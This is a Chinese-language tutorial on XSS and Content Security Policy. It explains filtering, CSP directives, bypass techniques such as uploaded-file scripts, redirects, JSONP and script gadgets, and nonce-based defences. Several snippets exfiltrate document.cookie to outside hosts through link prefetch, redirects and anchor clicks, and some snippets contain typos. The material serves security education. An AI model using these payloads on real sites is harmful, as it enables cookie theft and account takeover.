关于前端安全的研究

最基本的XSS

首先一个示例代码

  1. <?php
  2. $a = $_GET['a'];
  3. echo $a;

对于这样毫无过滤的页面,我们可以使用各种方式来构造一个xss漏洞利用。

  1. a=<script>alert(1)</script>
  2. a=<img/src=1/onerror=alert(1)>
  3. a=<svg/onload=alert(1)>

对于这样的漏洞点来说,我们通常会使用htmlspecialchars函数来过滤输入,这个函数会处理5种符号。

  1. <?php
  2. $a = $_GET['a'];
  3. $a = htmlspecialchars($a);
  4. echo $a;

这个函数的功能是

  1. & (AND) => &amp;
  2. " (双引号) => &quot; (当ENT_NOQUOTES没有设置的时候)
  3. ' (单引号) => &#039; (当ENT_QUOTES设置)
  4. < (小于号) => &lt;
  5. > (大于号) => &gt;

一般意义来说,对于上面的页面来说,这样的过滤可能已经足够了,但是很多时候场景永远比想象的更多。

  1. <a href="{输入点}">
  2. <div style="{输入点}">
  3. <img src="{输入点}">
  4. <img src={输入点}>(没有引号)
  5. <script>{输入点}</script>

对于这样的场景来说,上面的过滤已经没有意义了,尤其输入点在script标签里的情况,刚才的防御方式可以说是毫无意义。

一般来说,为了能够应对这样的xss点,我们会使用更多的过滤方式。

首先是肯定对于符号的过滤,为了能够应对各种情况,我们可能需要过滤下面这么多符号

  1. % * + , / ; < = > ^ | `

但事实上过度的过滤符号严重影响了用户正常的输入,这也是这种过滤使用非常少的原因。

大部分人都会选择使用htmlspecialchars+黑名单的过滤方法

  1. on\w+=
  2. script
  3. svg
  4. iframe
  5. link

这样的过滤方式如果做的足够好,看上去也没什么问题,但回忆一下我们曾见过的那么多XSS漏洞,大多数漏洞的产生点,都是过滤函数忽略的地方。

那么,是不是有一种更底层的防御方式,可以从浏览器的层面来防御漏洞呢?

CSP就这样诞生了…

CSP(Content Security Policy)

Content Security Policy (CSP)内容安全策略,是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。

CSP的特点就是他是在浏览器层面做的防护,是和同源策略同一级别,除非浏览器本身出现漏洞,否则不可能从机制上绕过。

CSP只允许被认可的JS块、JS文件、CSS等解析,只允许向指定的域发起请求。

一个简单的CSP规则可能就是下面这样

  1. header("Content-Security-Policy: default-src 'self'; script-src 'self' https://lorexxar.cn;");

那我们举个例子

  1. <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
  2. <script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
  3. <?php
  4. $a = $_GET['a'];
  5. $a = htmlspecialchars($a);
  6. echo $a;

这样就设置了网页的CSP,或者使用HTTP头

  1. <script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
  2. <?php
  3. header("Content-Security-Policy: default-src 'self'; script-src 'self' https://lorexxar.cn;");
  4. $a = $_GET['a'];
  5. $a = htmlspecialchars($a);
  6. echo $a;

那么此时加载外部的js文件时,浏览器就会报错

XSS - 图1

其中的规则指令分很多种,每种指令都分管浏览器中请求的一部分。

  • script-src 这个指令规定了网站中可执行脚本的来源,同时也控制了 XSLT 的来源;
  • style-src 定义了样式文件的来源;
  • media-src 规定了富媒体(音视频、视频文本轨格式)资源的来源;
  • child-src 规定了像 worker 、frame 这种嵌入可使用的链接;
  • font-src 规定了字体的来源,如果在网页中使用了第三方字体可以使用这个指令;
  • img-src 规定了网站中的图片的来源;
  • form-action 规定了网页中的 form 元素 action 的可提交地址;
  • connect-src 规定了脚本中发起连接的地址,像 XMLHttpRequest 的 send 方法、WebSocket 连接地址、EventSource 等;
  • frame-src 这个指令规定了 frame 的可使用链接。在 CSP level 2 中废弃了,文档中叫我们用 child-src 来代替这个指令,但在 level 3 中恢复使用;
  • object-src 规定了一些插件的来源,像 Flash 等;
  • report-uri 这个指令是指定一个 CSP 上报地址,当浏览器检测到有不通过指令时,将通过这个指定地址进行上报。值得注意的是,这个指令不能在 meta 元素中使用,并且在 CSP level3 中这个指令会被废弃,用 report-to 来代替,为了保证这个指令有效,官方推荐 report-uri & report-to 同时使用;
  • worker-src 这个指令是 CSP level3 中加的,规定了 Worker、SharedWorker、serviceWorker 中可用的地址;
  • base-uri 规定了页面 base 标签中的链接;
  • frame-ancestors 规定了当前的页面可以被哪些来源所嵌入。作用于 , , , 。该指令不能通过 指定且只对非 HTML 文档类型的资源生效;

每种指令都有不同的配置

image.png

  • self 这个值代表指令的来源只匹配当前域,不包括子域。比如 http://example.com 可以,http://api.example.com 则会匹配失败;
  • none 指令为这个值的时候,则不匹配任何东西。例如:
    Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'
    这个例子则表示网页中没有插件可以执行;
  • unsafe-inline 该值表示允许内嵌的脚本、样式。直接用这个感觉很粗糙,下面会提到更为安全的内嵌脚本、样式定义方法;
  • unsafe-eval 代表相应指令的源允许通过字符串动态创建的脚本执行,像 eval、setTimeout 等;

对于内联的脚本或者样式,即用script标签或者style标签内嵌到 HTML 的内容,CSP 也给了限制规则,就是在对应的 script 、style 标签上加一个 nonce 属性,并赋一个加密串,然后在页面的响应头Content-Security-Policy中加上这个加密串即可。确保每次请求页面时,加密串是不一样的,不然会让网站攻击者有可乘之机,下面是一个内嵌脚本的例子:

  1. // 内嵌到 HTML 的脚本
  2. <script nonce='e1f5e9ea-4765-4bf3-bd0a-5c6ab622d375'>
  3. ...
  4. </script>
  5. // 相应头
  6. Content-Security-Policy: script-src 'self' 'nonce-e1f5e9ea-4765-4bf3-bd0a-5c6ab622d375' hm.baidu.com zz.bdstatic.com www.googletagmanager.com;

给出一个例子

  1. Content-Security-Policy: img-src *; connect-src * wss: blob:; frame-src 'self' *.zhihu.com weixin:; script-src 'self' *.zhihu.com 'nonce-e1f5e9ea-4765-4bf3-bd0a-5c6ab622d375'; style-src 'self' 'unsafe-inline'

这个例子中规定了:

  1. 图片可以是任意来源的;
  2. 网站中发起连接的地址可以是 wss 或则 blob 协议的;
  3. 内嵌的 iframe 内容必须是来自站点的同一个源,或者是 *.http://zhihu.com、weixin: 域名协议下;
  4. 脚本内容必须自站点的同一个源,或者 *.http://zhihu.com域下,或者是 nonce 属性为 e1f5e9ea-4765-4bf3-bd0a-5c6ab622d375 的内嵌脚本;
  5. 样式内容必须自站点的同一个源,而且支持在 HTML 中通过 style 标签引入内嵌样式内容;

正常来说,针对不同的来源,不同方式的资源加载,都应该有相应的加载策略。

CSP Bypass

CSP可以很严格,严格到甚至和很多网站的本身都想相冲突。

为了兼容各种情况,CSP有很多松散模式来适应各种情况。

在便利开发者的同时,很多安全问题就诞生了。

CSP对前端攻击的防御主要有两个:

1、限制js的执行。
2、限制对不可信域的请求。

接下来的多种Bypass手段也是围绕这两种的。

1

  1. header("Content-Security-Policy: default-src 'self'; script-src * ");

随便绕。

2

  1. header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

最常见的CSP,只允许加载当前域的js。

站内总会有上传图片的地方,如果我们上传一个内容为js的图片,图片就在网站的当前域下了。

直接加载图片js

  1. <script src='upload/test.js'></script>

3
  1. header(" Content-Security-Policy: default-src 'self '; script-src http://127.0.0.1/static/ ");

当你发现设置self并不安全的时候,可能会选择把静态文件的可信域限制到目录,看上去好像没什么问题了。

但是如果可信域内存在一个可控的重定向文件,那么CSP的目录限制就可以被绕过。

假设static目录下存在一个302文件

  1. Static/302.php
  2. <?php Header("location: ".$_GET['url'])?>

像刚才一样,上传一个test.jpg 然后通过302.php跳转到upload目录加载js就可以成功执行

  1. <script src="static/302.php?url=upload/test.jpg">

4

  1. header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

CSP除了阻止不可信js的解析以外,还有一个功能是组织向不可信域的请求。

在上面的CSP规则下,如果我们尝试加载外域的图片,就会被阻止

  1. <img src="http://example.com/1.jpg">

在CSP的演变过程中,难免就会出现了一些疏漏

  1. <link rel="prefetch" href="http://lorexxar.cn"> (H5预加载)(only chrome)
  2. <link rel="dns-prefetch" href="http://lorexxar.cn"> (DNS预加载)

在CSP1.0中,对于link的限制并不完整,不同浏览器包括chrome和firefox对CSP的支持都不完整,每个浏览器都维护一份包括CSP1.0、部分CSP2.0、少部分CSP3.0的CSP规则。

5

  1. header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

关于跨域,同源策略的理解

https://www.runoob.com/json/json-jsonp.html

https://blog.csdn.net/badmoonc/article/details/82289252

或许你的站内并没有这种问题,但你可能会使用jsonp来跨域获取数据,现代很流行这种方式。

但jsonp本身就是CSP的克星,jsonp本身就是处理跨域问题的,所以它一定在可信域中。

  1. <script
  2. src="/path/jsonp?callback=alert(document.domain)//">
  3. </script>
  4. /* API response */
  5. alert(document.domain);//{"var": "data", ...});

这样你就可以构造任意js,即使你限制了callback只获取\w+的数据,部分js仍然可以执行,配合一些特殊的攻击手段和场景,仍然有危害发生。

唯一的办法是返回类型设置为json格式。

6

  1. header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' ");

比起刚才的CSP规则来说,这才是最最普通的CSP规则。

unsafe-inline是处理内联脚本的策略,当CSP中制定script-src允许内联脚本的时候,页面中直接添加的脚本就可以被执行了。

  1. <script>
  2. js code; //在unsafe-inline时可以执行
  3. </script>

既然我们可以任意执行js了,剩下的问题就是怎么绕过对可信域的限制。

1 js生成link prefetch

第一种办法是通过js来生成link prefetch

  1. var n0t = document.createElement("link");
  2. n0t.setAttribute("rel", "prefetch");
  3. n0t.setAttribute("href", "//ssssss.com/?" + document.cookie);
  4. document.head.appendChild(n0t);

这种办法只有chrome可以用,但是意外的好用。

2 跳转 跳转 跳转

在浏览器的机制上, 跳转本身就是跨域行为

  1. <script>location.href=http://lorexxar.cn?a+document.cookie</script>
  2. <script>windows.open(http://lorexxar.cn?a=+document.cooke)</script>
  3. <meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]">

通过跨域请求,我们可以把我们想要的各种信息传出

3 跨域请求

在浏览器中,有很多种请求本身就是跨域请求,其中标志就是href。

  1. var a=document.createElement("a");
  2. a.href='http://xss.com/?cookie='+escape(document.cookie);
  3. a.click();

包括表单的提交,都是跨域请求

防御

在CSP正式被提出作为减轻XSS攻击的手段之后,几年内不断的爆出各种各样的问题。

2016年12月Google团队发布了关于CSP的调研文章《CSP is Dead, Long live CSP》

https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf

Google团队利用他们强大的搜索引擎库,分析了超过160w台主机的CSP部署方式,他们发现。

加载脚本最常列入白名单的有15个域,其中有14个不安全的站点,因此有75.81%的策略因为使用了了脚本白名单,允许了攻击者绕过了CSP。总而言之,我们发现尝试限制脚本执行的策略中有94.68%是无效的,并且99.34%具有CSP的主机制定的CSP策略对xss防御没有任何帮助。

在paper中,Google团队正式提出了两种以前被提出的CSP种类。

1、nonce script CSP

  1. header("Content-Security-Policy: default-src 'self'; script-src 'nonce-{random-str}' ");

动态的生成nonce字符串,只有包含nonce字段并字符串相等的script块可以被执行。

  1. <script nonce="{random-str}">alert(1)</script>

这个字符串可以在后端实现,每次请求都重新生成,这样就可以无视哪个域是可信的,只要保证所加载的任何资源都是可信的就可以了。

  1. <?php
  2. Header("Content-Security-Policy: script-src 'nonce-".$random." '"");
  3. ?>
  4. <script nonce="<?php echo $random?>">

2、strict-dynamic Bypass

2017年7月 Blackhat,Google团队提出了全新的攻击方式Script Gadgets。

  1. header("Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' ");

Strict-dynamic的提出正是为了适应现代框架 但Script Gadgets正是现代框架的特性

XSS - 图3

Script Gadgets 一种类似于短标签的东西,在现代的js框架中四处可见

  1. For example:
  2. Knockout.js
  3. <div data-bind="value: 'foo'"></div>
  4. Eval("foo")
  5. <div data-bind="value: alert(1)"></dib>
  6. bypass

Script Gadgets本身就是动态生成的js,所以对新型的CSP几乎是破坏式的Bypass。

XSS - 图4XSS - 图5

说了一大堆,黑名单配合CSP仍然是最靠谱的防御方式。

参考文章

https://paper.seebug.org/423/

https://www.anquanke.com/post/id/146180#h2-4